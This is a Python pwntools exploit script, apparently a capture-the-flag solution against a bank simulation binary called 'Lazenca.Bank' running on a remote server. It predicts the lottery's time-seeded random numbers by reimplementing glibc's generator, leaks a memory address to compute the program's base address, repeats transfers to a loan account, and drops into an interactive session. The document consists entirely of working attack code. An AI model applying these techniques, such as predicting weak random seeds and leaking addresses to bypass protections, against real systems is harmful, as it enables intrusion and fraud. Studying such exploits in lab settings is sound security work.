v00-pwnit-vip.py

#!/usr/bin/env python3
from pwn import *


def connect():
    if args.LOCAL:
        return gdb.debug(["./Lazenca.Bank"], api=True)
    else:
        return remote("35.200.24.227", 10002)


class Rng:
    # https://stackoverflow.com/a/26630526/3832536

    def __init__(self, seed):
        self.r = [seed] * 344
        for i in range(1, 31):
            self.r[i] = (16807 * self.r[i - 1]) % 2147483647
        for i in range(31, 34):
            self.r[i] = self.r[i - 31]
        for i in range(34, 344):
            self.r[i] = self.r[i - 31] + self.r[i - 3]
        self.n = 0

    def next(self):
        x = self.r[(self.n + 313) % 344] + self.r[(self.n + 341) % 344]
        self.r[self.n % 344] = x
        self.n = (self.n + 1) % 344
        return (x >> 1) & 0x7FFFFFFF


def main():
    with connect() as tube:
        if args.LOCAL:
            tube.gdb.Breakpoint("alarm", temporary=True)
            tube.gdb.continue_and_wait()
            tube.gdb.execute("set $rdi = 9999")
            tube.gdb.continue_nowait()

        userid = "foo"
        password = "bar"

        tube.sendlineafter("Input : ", "6")  # Add User
        tube.sendlineafter("ID : ", userid)
        tube.sendlineafter("Password : ", password)

        tube.sendlineafter("Input : ", "7")  # Login
        tube.sendlineafter("ID : ", userid)
        tube.sendlineafter("Password : ", password)

        tube.sendlineafter("Input : ", "4")  # Loan
        tube.recvuntil("Account type : 1\n")
        tube.recvuntil("Account number : ")
        loan_account_number = int(tube.recvline())

        tube.sendlineafter("Input : ", "5")  # Lottery
        rng = Rng(int(time.time()))
        tube.recvuntil("Enter numbers:\n")
        seen = set()
        for i in range(7):
            while True:
                number = (rng.next() % 37) + 1
                if number not in seen:
                    seen.add(number)
                    break
            tube.sendlineafter(f"[{i + 1}] : ", str(number))
        tube.sendafter("Name : ", "_")
        tube.sendafter("Address : ", "_")
        tube.recvuntil("Address : _")
        (leaked_addr,) = struct.unpack(
            "<Q", (b"\x00" + tube.recvuntil("\n\n")[:-2]).ljust(8, b"\x00")
        )
        print(f"leaked_addr = 0x{leaked_addr:x}")
        pie = leaked_addr - 0x6000
        print(f"pie = 0x{pie:x}")

        for _ in range(20):
            tube.sendlineafter("Input : ", "3")  # Transfer
            tube.sendlineafter("Enter the account number to be transfer.\n", str(loan_account_number))
            tube.sendlineafter("Enter the amount to be transfer.\n", "5")

        tube.interactive()


if __name__ == "__main__":
    main()